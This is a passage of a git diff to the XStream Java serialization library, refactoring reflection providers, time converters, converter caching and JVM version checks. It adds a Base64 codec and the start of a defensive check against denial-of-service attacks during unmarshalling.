Fields.read(javaField, instance); } @@ -400,7 +396,7 @@ public Map readFieldsFromStream() { @Override public void defaultReadObject() { - if (serializationMembers.getSerializablePersistentFields(currentType[0]) != null) { + if (serializationMembers.hasSerializablePersistentFields(currentType[0])) { readFieldsFromStream(); return; } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/SunLimitedUnsafeReflectionProvider.java b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/SunLimitedUnsafeReflectionProvider.java index 9746e4b6a..44455df24 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/SunLimitedUnsafeReflectionProvider.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/SunLimitedUnsafeReflectionProvider.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2011, 2013, 2014, 2016, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2011, 2013, 2014, 2016, 2017, 2020 XStream Committers. * All rights reserved. * * Created on 08. January 2014 by Joerg Schaible, factored out from SunUnsafeReflectionProvider @@ -45,13 +45,7 @@ public class SunLimitedUnsafeReflectionProvider extends PureJavaReflectionProvid final Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); u = (Unsafe)unsafeField.get(null); - } catch (final SecurityException e) { - ex = e; - } catch (final NoSuchFieldException e) { - ex = e; - } catch (final IllegalArgumentException e) { - ex = e; - } catch (final IllegalAccessException e) { + } catch (final SecurityException | NoSuchFieldException | IllegalArgumentException | IllegalAccessException e) { ex = e; } exception = ex; @@ -81,16 +75,14 @@ public Object newInstance(final Class type) { } ErrorWritingException ex = null; if (type == void.class || type == Void.class) { - ex = new ConversionException("Type void cannot have an instance"); + ex = new ConversionException("Security alert: Marshalling rejected"); } else { try { return unsafe.allocateInstance(type); - } catch (final SecurityException e) { + } catch (final SecurityException | IllegalArgumentException e) { ex = new ObjectAccessException("Cannot construct type", e); } catch (final InstantiationException e) { ex = new ConversionException("Cannot construct type", e); - } catch (final IllegalArgumentException e) { - ex = new ObjectAccessException("Cannot construct type", e); } } ex.add("construction-type", type.getName()); diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/XStream12FieldKeySorter.java b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/XStream12FieldKeySorter.java index 14a6d255e..3569bf03b 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/XStream12FieldKeySorter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/XStream12FieldKeySorter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2007, 2008, 2013, 2014 XStream Committers. + * Copyright (C) 2007, 2008, 2013, 2014, 2022 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -27,7 +27,7 @@ public class XStream12FieldKeySorter implements FieldKeySorter { @Override public Map sort(final Class type, final Map keyedByFieldKey) { - final Map map = new TreeMap(new Comparator() { + final Map map = new TreeMap<>(new Comparator() { @Override public int compare(final FieldKey fieldKey1, final FieldKey fieldKey2) { diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/time/ChronologyConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/time/ChronologyConverter.java index 249946d77..11c25b646 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/time/ChronologyConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/time/ChronologyConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2017 XStream Committers. + * Copyright (C) 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -27,7 +27,7 @@ public class ChronologyConverter implements SingleValueConverter { @Override public boolean canConvert(final Class type) { - return Chronology.class.isAssignableFrom(type); + return type != null && Chronology.class.isAssignableFrom(type); } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/time/JapaneseEraConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/time/JapaneseEraConverter.java index 021b0e154..6f4b9dfdd 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/time/JapaneseEraConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/time/JapaneseEraConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2017 XStream Committers. + * Copyright (C) 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -26,7 +26,7 @@ public class JapaneseEraConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return JapaneseEra.class.isAssignableFrom(type); + return type != null && JapaneseEra.class.isAssignableFrom(type); } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/time/SystemClockConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/time/SystemClockConverter.java index 67db23e0c..9ea9a05f0 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/time/SystemClockConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/time/SystemClockConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2017 XStream Committers. + * Copyright (C) 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -16,7 +16,6 @@ import com.thoughtworks.xstream.converters.Converter; import com.thoughtworks.xstream.converters.MarshallingContext; import com.thoughtworks.xstream.converters.UnmarshallingContext; -import com.thoughtworks.xstream.io.ExtendedHierarchicalStreamWriterHelper; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.mapper.Mapper; @@ -35,7 +34,7 @@ public class SystemClockConverter implements Converter { /** * Constructs a SystemClockConverter instance. - * + * * @param mapper the Mapper instance */ public SystemClockConverter(final Mapper mapper) { @@ -51,7 +50,7 @@ public boolean canConvert(final Class type) { @Override public void marshal(final Object source, final HierarchicalStreamWriter writer, final MarshallingContext context) { final Clock clock = (Clock)source; - ExtendedHierarchicalStreamWriterHelper.startNode(writer, mapper.serializedMember(Clock.class, "zone"), null); + writer.startNode(mapper.serializedMember(Clock.class, "zone"), null); context.convertAnother(clock.getZone()); writer.endNode(); } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/time/ValueRangeConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/time/ValueRangeConverter.java index af38fc256..369b380ef 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/time/ValueRangeConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/time/ValueRangeConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2017 XStream Committers. + * Copyright (C) 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -17,7 +17,6 @@ import com.thoughtworks.xstream.converters.Converter; import com.thoughtworks.xstream.converters.MarshallingContext; import com.thoughtworks.xstream.converters.UnmarshallingContext; -import com.thoughtworks.xstream.io.ExtendedHierarchicalStreamWriterHelper; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.mapper.Mapper; @@ -36,7 +35,7 @@ public class ValueRangeConverter implements Converter { /** * Constructs a ValueRangeConverter instance. - * + * * @param mapper the Mapper instance */ public ValueRangeConverter(final Mapper mapper) { @@ -83,8 +82,7 @@ public Object unmarshal(final HierarchicalStreamReader reader, final Unmarshalli } private void write(final String fieldName, final long value, final HierarchicalStreamWriter writer) { - ExtendedHierarchicalStreamWriterHelper.startNode(writer, mapper.serializedMember(ValueRange.class, fieldName), - long.class); + writer.startNode(mapper.serializedMember(ValueRange.class, fieldName), long.class); writer.setValue(String.valueOf(value)); writer.endNode(); } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/time/WeekFieldsConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/time/WeekFieldsConverter.java index f5cb29fb0..664bdcfef 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/time/WeekFieldsConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/time/WeekFieldsConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2017 XStream Committers. + * Copyright (C) 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -17,7 +17,6 @@ import com.thoughtworks.xstream.converters.MarshallingContext; import com.thoughtworks.xstream.converters.UnmarshallingContext; import com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.UnknownFieldException; -import com.thoughtworks.xstream.io.ExtendedHierarchicalStreamWriterHelper; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.mapper.Mapper; @@ -35,7 +34,7 @@ public class WeekFieldsConverter implements Converter { /** * Constructs a WeekFieldsConverter instance. - * + * * @param mapper the Mapper instance */ public WeekFieldsConverter(final Mapper mapper) { @@ -51,12 +50,10 @@ public boolean canConvert(final Class type) { @Override public void marshal(final Object source, final HierarchicalStreamWriter writer, final MarshallingContext context) { final WeekFields weekFields = (WeekFields)source; - ExtendedHierarchicalStreamWriterHelper.startNode(writer, mapper.serializedMember(WeekFields.class, - "minimalDays"), int.class); + writer.startNode(mapper.serializedMember(WeekFields.class, "minimalDays"), int.class); writer.setValue(String.valueOf(weekFields.getMinimalDaysInFirstWeek())); writer.endNode(); - ExtendedHierarchicalStreamWriterHelper.startNode(writer, mapper.serializedMember(WeekFields.class, - "firstDayOfWeek"), DayOfWeek.class); + writer.startNode(mapper.serializedMember(WeekFields.class, "firstDayOfWeek"), DayOfWeek.class); context.convertAnother(weekFields.getFirstDayOfWeek()); writer.endNode(); } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/time/ZoneIdConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/time/ZoneIdConverter.java index e9888698b..ccfd402f9 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/time/ZoneIdConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/time/ZoneIdConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2017 XStream Committers. + * Copyright (C) 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -28,7 +28,7 @@ public class ZoneIdConverter implements SingleValueConverter { @Override public boolean canConvert(final Class type) { - return ZoneId.class.isAssignableFrom(type); + return type != null && ZoneId.class.isAssignableFrom(type); } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/core/AbstractReferenceMarshaller.java b/xstream/src/java/com/thoughtworks/xstream/core/AbstractReferenceMarshaller.java index 4ed0e55d3..5408a4f30 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/AbstractReferenceMarshaller.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/AbstractReferenceMarshaller.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2014, 2015, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -15,7 +15,6 @@ import com.thoughtworks.xstream.converters.ConversionException; import com.thoughtworks.xstream.converters.Converter; import com.thoughtworks.xstream.converters.ConverterLookup; -import com.thoughtworks.xstream.converters.MarshallingContext; import com.thoughtworks.xstream.core.util.ObjectIdDictionary; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.io.path.Path; @@ -32,7 +31,7 @@ * @author Mauro Talevi * @since 1.2 */ -public abstract class AbstractReferenceMarshaller extends TreeMarshaller implements MarshallingContext { +public abstract class AbstractReferenceMarshaller extends TreeMarshaller { private final ObjectIdDictionary> references = new ObjectIdDictionary<>(); private final ObjectIdDictionary implicitElements = new ObjectIdDictionary<>(); @@ -151,6 +150,8 @@ protected Path getPath() { } public static class ReferencedImplicitElementException extends ConversionException { + private static final long serialVersionUID = 10200L; + public ReferencedImplicitElementException(final Object item, final Path path) { super("Cannot reference implicit element"); add("implicit-element", item.toString()); diff --git a/xstream/src/java/com/thoughtworks/xstream/core/AbstractReferenceUnmarshaller.java b/xstream/src/java/com/thoughtworks/xstream/core/AbstractReferenceUnmarshaller.java index a0b02f7e0..3f5f668ab 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/AbstractReferenceUnmarshaller.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/AbstractReferenceUnmarshaller.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2006, 2007, 2008, 2011, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2011, 2014, 2015, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -71,11 +71,16 @@ protected Object convert(final Object parent, final Class type, final Convert } else { final R currentReferenceKey = getCurrentReferenceKey(); parentStack.push(currentReferenceKey); - result = super.convert(parent, type, converter); - if (currentReferenceKey != null) { - values.put(currentReferenceKey, result == null ? NULL : result); + Object localResult = null; + try { + localResult = super.convert(parent, type, converter); + } finally { + result = localResult; + if (currentReferenceKey != null) { + values.put(currentReferenceKey, result == null ? NULL : result); + } + parentStack.popSilently(); } - parentStack.popSilently(); } return result; } diff --git a/xstream/src/java/com/thoughtworks/xstream/core/Base64Codec.java b/xstream/src/java/com/thoughtworks/xstream/core/Base64Codec.java new file mode 100644 index 000000000..94f8b7b9c --- /dev/null +++ b/xstream/src/java/com/thoughtworks/xstream/core/Base64Codec.java @@ -0,0 +1,59 @@ +/* + * Copyright (C) 2017, 2018, 2020 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 29. March 2020 by Joerg Schaible, renamed from com.thoughtworks.xstream.core.Base64JavaUtilCodec + */ +package com.thoughtworks.xstream.core; + +import java.util.Base64; + + +/** + * Base64 codec implementation based on java.util.Base64. + * + * @author Jörg Schaible + * @since upcoming + */ +public class Base64Codec implements StringCodec { + final private Base64.Decoder decoder; + final private Base64.Encoder encoder; + + /** + * Constructs a Base64Codec. + *

    + * The implementation will use a basic encoder and a MIME decoder by default. + *

    + * + * @since upcoming + */ + public Base64Codec() { + this(Base64.getEncoder(), Base64.getMimeDecoder()); + } + + /** + * Constructs a Base64Codec with provided encoder and decoder. + * + * @param encoder the encoder instance + * @param decoder the decoder instance + * @since upcoming + */ + public Base64Codec(final Base64.Encoder encoder, final Base64.Decoder decoder) { + this.encoder = encoder; + this.decoder = decoder; + } + + @Override + public byte[] decode(final String base64) { + return decoder.decode(base64); + } + + @Override + public String encode(final byte[] data) { + return encoder.encodeToString(data); + } +} diff --git a/xstream/src/java/com/thoughtworks/xstream/core/DefaultConverterLookup.java b/xstream/src/java/com/thoughtworks/xstream/core/DefaultConverterLookup.java index 97c1df3f1..e97dd2efe 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/DefaultConverterLookup.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/DefaultConverterLookup.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2014, 2015, 2016, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2014, 2015, 2016, 2017, 2019, 2022 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -11,16 +11,15 @@ */ package com.thoughtworks.xstream.core; -import java.util.Collections; -import java.util.Iterator; +import java.util.HashMap; import java.util.LinkedHashMap; import java.util.Map; -import java.util.WeakHashMap; import com.thoughtworks.xstream.converters.ConversionException; import com.thoughtworks.xstream.converters.Converter; import com.thoughtworks.xstream.converters.ConverterLookup; import com.thoughtworks.xstream.converters.ConverterRegistry; +import com.thoughtworks.xstream.core.util.Cloneables; import com.thoughtworks.xstream.core.util.PrioritizedList; @@ -34,15 +33,28 @@ public class DefaultConverterLookup implements ConverterLookup, ConverterRegistry, Caching { private final PrioritizedList converters = new PrioritizedList<>(); - private transient Map, Converter> typeToConverterMap; + private transient Map typeToConverterMap; + private Map serializationMap = null; public DefaultConverterLookup() { - readResolve(); + this(new HashMap<>()); + } + + /** + * Constructs a DefaultConverterLookup with a provided map. + * + * @param map the map to use + * @throws NullPointerException if map is null + * @since 1.4.11 + */ + public DefaultConverterLookup(final Map map) { + typeToConverterMap = map; + typeToConverterMap.clear(); } @Override public Converter lookupConverterForType(final Class type) { - final Converter cachedConverter = typeToConverterMap.get(type); + final Converter cachedConverter = type != null ? typeToConverterMap.get(type.getName()) : null; if (cachedConverter != null) { return cachedConverter; } @@ -51,6 +63,9 @@ public Converter lookupConverterForType(final Class type) { for (final Converter converter : converters) { try { if (converter.canConvert(type)) { + if (type != null) { + typeToConverterMap.put(type.getName(), converter); + } return converter; } } catch (final RuntimeException | LinkageError e) { @@ -61,7 +76,7 @@ public Converter lookupConverterForType(final Class type) { final ConversionException exception = new ConversionException(errors.isEmpty() ? "No converter specified" : "No converter available"); - exception.add("type", type.getName()); + exception.add("type", type != null ? type.getName() : "null"); for (final Map.Entry entry : errors.entrySet()) { exception.add("converter", entry.getKey()); exception.add("message", entry.getValue()); @@ -71,17 +86,8 @@ public Converter lookupConverterForType(final Class type) { @Override public void registerConverter(final Converter converter, final int priority) { + typeToConverterMap.clear(); converters.add(converter, priority); - for (final Iterator> iter = typeToConverterMap.keySet().iterator(); iter.hasNext();) { - final Class type = iter.next(); - try { - if (converter.canConvert(type)) { - iter.remove(); - } - } catch (final RuntimeException | LinkageError e) { - // ignore - } - } } @Override @@ -94,9 +100,15 @@ public void flushCache() { } } + private Object writeReplace() { + serializationMap = Cloneables.cloneIfPossible(typeToConverterMap); + serializationMap.clear(); + return this; + } + private Object readResolve() { - // TODO: Use ConcurrentMap - typeToConverterMap = Collections.synchronizedMap(new WeakHashMap, Converter>()); + typeToConverterMap = serializationMap == null ? new HashMap<>() : serializationMap; + serializationMap = null; return this; } } diff --git a/xstream/src/java/com/thoughtworks/xstream/core/JVM.java b/xstream/src/java/com/thoughtworks/xstream/core/JVM.java index 7e1473a02..327e5292e 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/JVM.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/JVM.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2024 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -30,7 +30,7 @@ import com.thoughtworks.xstream.converters.reflection.ObjectAccessException; import com.thoughtworks.xstream.converters.reflection.PureJavaReflectionProvider; import com.thoughtworks.xstream.converters.reflection.ReflectionProvider; -import com.thoughtworks.xstream.core.util.Base64Encoder; +import com.thoughtworks.xstream.core.util.Base64JavaUtilCodec; import com.thoughtworks.xstream.core.util.CustomObjectOutputStream; import com.thoughtworks.xstream.core.util.DependencyInjectionFactory; import com.thoughtworks.xstream.core.util.PresortedMap; @@ -44,6 +44,7 @@ public class JVM implements Caching { private static final boolean isAWTAvailable; private static final boolean isSwingAvailable; private static final boolean isSQLAvailable; + private static final boolean isUnnamedModule; private static final boolean canAllocateWithUnsafe; private static final boolean canWriteWithUnsafe; private static final boolean optimizedTreeSetAddAll; @@ -54,10 +55,11 @@ public class JVM implements Caching { private static final String vendor = System.getProperty("java.vm.vendor"); private static final float majorJavaVersion = getMajorJavaVersion(); - private static final float DEFAULT_JAVA_VERSION = 1.7f; + private static final float DEFAULT_JAVA_VERSION = 1.8f; private static final boolean reverseFieldOrder = false; private static final Class reflectionProviderType; - private static final StringCodec base64Codec; + @Deprecated + private static final StringCodec base64Codec = new Base64JavaUtilCodec(); static class Test { @SuppressWarnings("unused") @@ -85,6 +87,11 @@ static class Test { } static { + final Exception exception = new RuntimeException(); + exception.fillInStackTrace(); + final StackTraceElement[] stackTrace = exception.getStackTrace(); + isUnnamedModule = !stackTrace[0].toString().contains("xstream@"); // Java 9: getModule() == null + boolean test = true; Object unsafe = null; try { @@ -95,9 +102,7 @@ static class Test { final Method allocateInstance = unsafeClass.getDeclaredMethod("allocateInstance", new Class[]{Class.class}); allocateInstance.setAccessible(true); test = allocateInstance.invoke(unsafe, new Object[]{Test.class}) != null; - } catch (final Exception e) { - test = false; - } catch (final Error e) { + } catch (final Exception | Error e) { test = false; } canAllocateWithUnsafe = test; @@ -112,18 +117,16 @@ static class Test { final Test t = (Test)provider.newInstance(Test.class); try { provider.writeField(t, "o", "object", Test.class); - provider.writeField(t, "c", new Character('c'), Test.class); - provider.writeField(t, "b", new Byte((byte)1), Test.class); - provider.writeField(t, "s", new Short((short)1), Test.class); - provider.writeField(t, "i", new Integer(1), Test.class); - provider.writeField(t, "l", new Long(1), Test.class); - provider.writeField(t, "f", new Float(1), Test.class); - provider.writeField(t, "d", new Double(1), Test.class); + provider.writeField(t, "c", Character.valueOf('c'), Test.class); + provider.writeField(t, "b", Byte.valueOf((byte)1), Test.class); + provider.writeField(t, "s", Short.valueOf((short)1), Test.class); + provider.writeField(t, "i", Integer.valueOf(1), Test.class); + provider.writeField(t, "l", Long.valueOf(1), Test.class); + provider.writeField(t, "f", Float.valueOf(1), Test.class); + provider.writeField(t, "d", Double.valueOf(1), Test.class); provider.writeField(t, "bool", Boolean.TRUE, Test.class); test = true; - } catch (final IncompatibleClassChangeError e) { - cls = null; - } catch (final ObjectAccessException e) { + } catch (final IncompatibleClassChangeError | ObjectAccessException e) { cls = null; } if (cls == null) { @@ -165,26 +168,22 @@ public int compare(final Object o1, final Object o2) { try { new SimpleDateFormat("z").parse("UTC"); test = true; - } catch (final ParseException e) { + } catch (final ParseException | RuntimeException e) { test = false; } canParseUTCDateFormat = test; try { new SimpleDateFormat("X").parse("Z"); test = true; - } catch (final ParseException e) { - test = false; - } catch (final IllegalArgumentException e) { + } catch (final ParseException | RuntimeException e) { test = false; } canParseISO8601TimeZoneInDateFormat = test; try { @SuppressWarnings("resource") - final CustomObjectOutputStream stream = new CustomObjectOutputStream(null); + final CustomObjectOutputStream stream = new CustomObjectOutputStream(null, null); test = stream != null; - } catch (final RuntimeException e) { - test = false; - } catch (final IOException e) { + } catch (final RuntimeException | IOException e) { test = false; } canCreateDerivedObjectOutputStream = test; @@ -192,23 +191,6 @@ public int compare(final Object o1, final Object o2) { isAWTAvailable = loadClassForName("java.awt.Color", false) != null; isSwingAvailable = loadClassForName("javax.swing.LookAndFeel", false) != null; isSQLAvailable = loadClassForName("java.sql.Date") != null; - - StringCodec base64 = null; - Class base64Class = loadClassForName( - "com.thoughtworks.xstream.core.util.Base64JavaUtilCodec"); - if (base64Class == null) { - base64Class = loadClassForName("com.thoughtworks.xstream.core.util.Base64JAXBCodec"); - } - if (base64Class != null) { - try { - base64 = base64Class.newInstance(); - } catch (final Exception e) { - } - } - if (base64 == null) { - base64 = new Base64Encoder(); - } - base64Codec = base64; } /** @@ -225,7 +207,7 @@ public JVM() { */ private static final float getMajorJavaVersion() { try { - return isAndroid() ? 1.7f : Float.parseFloat(System.getProperty("java.specification.version")); + return isAndroid() ? 8f : Float.parseFloat(System.getProperty("java.specification.version")); } catch (final NumberFormatException e) { // Some JVMs may not conform to the x.y.z java.version format return DEFAULT_JAVA_VERSION; @@ -233,48 +215,50 @@ private static final float getMajorJavaVersion() { } /** - * @deprecated As of 1.4.4, minimal JDK version is 1.4 already + * @deprecated As of 1.4.4, minimal JDK version is 1.8 already */ @Deprecated public static boolean is14() { - return majorJavaVersion >= 1.4f; + return isVersion(4); } /** - * @deprecated As of 1.4.4, minimal JDK version will be 1.7 for next major release + * @deprecated As of 1.4.4, minimal JDK version is 1.8 already */ @Deprecated public static boolean is15() { - return majorJavaVersion >= 1.5f; + return isVersion(5); } /** - * @deprecated As of 1.4.4, minimal JDK version will be 1.7 for next major release + * @deprecated As of 1.4.4, minimal JDK version is 1.8 already */ @Deprecated public static boolean is16() { - return majorJavaVersion >= 1.6f; + return isVersion(6); } /** * @since 1.4 - * @deprecated As of 1.4.10, minimal JDK version will be 1.7 for next major release + * @deprecated As of 1.4.10, minimal JDK version is 1.8 already */ @Deprecated public static boolean is17() { - return majorJavaVersion >= 1.7f; + return isVersion(7); } /** * @since 1.4 + * @deprecated As of 1.4.11 use {@link #isVersion(int)}. */ + @Deprecated public static boolean is18() { - return majorJavaVersion >= 1.8f; + return isVersion(8); } /** * @since 1.4.8 - * @deprecated As of upcoming use {@link #is9()} + * @deprecated As of 1.4.10 use {@link #isVersion(int)}. */ @Deprecated public static boolean is19() { @@ -283,20 +267,37 @@ public static boolean is19() { /** * @since 1.4.10 + * @deprecated As of 1.4.11 use {@link #isVersion(int)} */ + @Deprecated public static boolean is9() { - return majorJavaVersion >= 9f; + return isVersion(9); + } + + /** + * Checks current runtime against provided major Java version. + * + * @param version the requested major Java version + * @return true if current runtime is at least the provided major version + * @since 1.4.11 + */ + public static boolean isVersion(final int version) { + if (version < 1) { + throw new IllegalArgumentException("Java version range starts with at least 1."); + } + final float v = majorJavaVersion < 9 ? 1f + version * 0.1f : version; + return majorJavaVersion >= v; } private static boolean isIBM() { - return vendor.indexOf("IBM") != -1; + return vendor.contains("IBM"); } /** * @since 1.4 */ private static boolean isAndroid() { - return vendor.indexOf("Android") != -1; // and version 19 (4.4 KitKat) for Java 7 + return vendor.contains("Android"); // and version 19 (4.4 KitKat) for Java 7 } /** @@ -335,9 +336,7 @@ public static Class loadClassForName(final String name, final b final Class clazz = (Class)Class.forName(name, initialize, JVM.class .getClassLoader()); return clazz; - } catch (final LinkageError e) { - return null; - } catch (final ClassNotFoundException e) { + } catch (final LinkageError | ClassNotFoundException e) { return null; } } @@ -389,8 +388,7 @@ public static Class getStaxInputFactory() throws Clas if (isIBM()) { return (Class)Class.forName("com.ibm.xml.xlxp.api.stax.XMLInputFactoryImpl"); } else { - return (Class)Class.forName( - "com.sun.xml.internal.stream.XMLInputFactoryImpl"); + return (Class)Class.forName("com.sun.xml.internal.stream.XMLInputFactoryImpl"); } } @@ -409,21 +407,23 @@ public static Class getStaxInputFactory() throws Clas @SuppressWarnings("unchecked") public static Class getStaxOutputFactory() throws ClassNotFoundException { if (isIBM()) { - return (Class)Class.forName( - "com.ibm.xml.xlxp.api.stax.XMLOutputFactoryImpl"); + return (Class)Class.forName("com.ibm.xml.xlxp.api.stax.XMLOutputFactoryImpl"); } else { - return (Class)Class.forName( - "com.sun.xml.internal.stream.XMLOutputFactoryImpl"); + return (Class)Class.forName("com.sun.xml.internal.stream.XMLOutputFactoryImpl"); } } /** * Get an available Base64 implementation. Prefers java.util.Base64 over DataTypeConverter from JAXB over XStream's * own implementation. - * + *

    + * Since XStream 1.5 requires Java 8 as minimum it can always use the Base84 implementation of the Java runtime. + * * @return a Base64 codec implementation - * @since upcoming + * @since 1.4.11 + * @deprecated As of upcoming, no longer required */ + @Deprecated public static StringCodec getBase64Codec() { return base64Codec; } @@ -502,6 +502,16 @@ public static boolean isSQLAvailable() { return isSQLAvailable; } + /** + * Checks for running in the unnamed module for Java 9 or higher. + * + * @return true for Java 8 or later or when XStream is running as part of the unnamed module in Java 9 or higher + * @since upcoming + */ + public static boolean isUnnamedModule() { + return isUnnamedModule; + } + /** * Checks if the JVM supports SQL. * @@ -599,6 +609,7 @@ public static void main(final String... args) { System.out.println("java.vendor: " + System.getProperty("java.vendor")); System.out.println("java.vm.name: " + System.getProperty("java.vm.name")); System.out.println("Version: " + majorJavaVersion); + System.out.println("XStream in unnamed module: " + isUnnamedModule()); System.out.println("XStream support for enhanced Mode: " + canUseSunUnsafeReflectionProvider()); System.out.println("XStream support for reduced Mode: " + canUseSunLimitedUnsafeReflectionProvider()); System.out.println("Supports AWT: " + isAWTAvailable()); @@ -607,7 +618,6 @@ public static void main(final String... args) { System.out.println("Java Beans EventHandler present: " + (loadClassForName("java.beans.EventHandler") != null)); System.out.println("Standard StAX XMLInputFactory: " + staxInputFactory); System.out.println("Standard StAX XMLOutputFactory: " + staxOutputFactory); - System.out.println("Standard Base64 Codec: " + getBase64Codec().getClass().toString()); System.out.println("Optimized TreeSet.addAll: " + hasOptimizedTreeSetAddAll()); System.out.println("Optimized TreeMap.putAll: " + hasOptimizedTreeMapPutAll()); System.out.println("Can parse UTC date format: " + canParseUTCDateFormat()); diff --git a/xstream/src/java/com/thoughtworks/xstream/core/SecurityUtils.java b/xstream/src/java/com/thoughtworks/xstream/core/SecurityUtils.java new file mode 100644 index 000000000..d0fb16bd3 --- /dev/null +++ b/xstream/src/java/com/thoughtworks/xstream/core/SecurityUtils.java @@ -0,0 +1,57 @@ +/* + * Copyright (C) 2021, 2022 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 21. September 2021 by Joerg Schaible + */ +package com.thoughtworks.xstream.core; + +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.converters.ConversionException; +import com.thoughtworks.xstream.converters.UnmarshallingContext; +import com.thoughtworks.xstream.security.InputManipulationException; + + +/** + * Utility functions for security issues. + * + * @author Jörg Schaible + * @since 1.4.19 + */ +public class SecurityUtils { + + /** + * Check the consumed time adding elements to collections or maps. Every custom converter should call this method + * after an unmarshalled element has been added to a collection or map. In case of an attack the operation will take + * too long, because the calculation of the hash code or the comparison of the elements in the collection operate on + * recursive structures. + * + * @param context the unmarshalling context + * @param start the timestamp just before the element was added to the collection or map + * @since 1.4.19 + */ + public static void checkForCollectionDoSAttack(final UnmarshallingContext context, final long start) { + final int diff = (int)((System.currentTimeMillis() - start) / 1000); + if (diff > 0) { + final Integer secondsUsed = 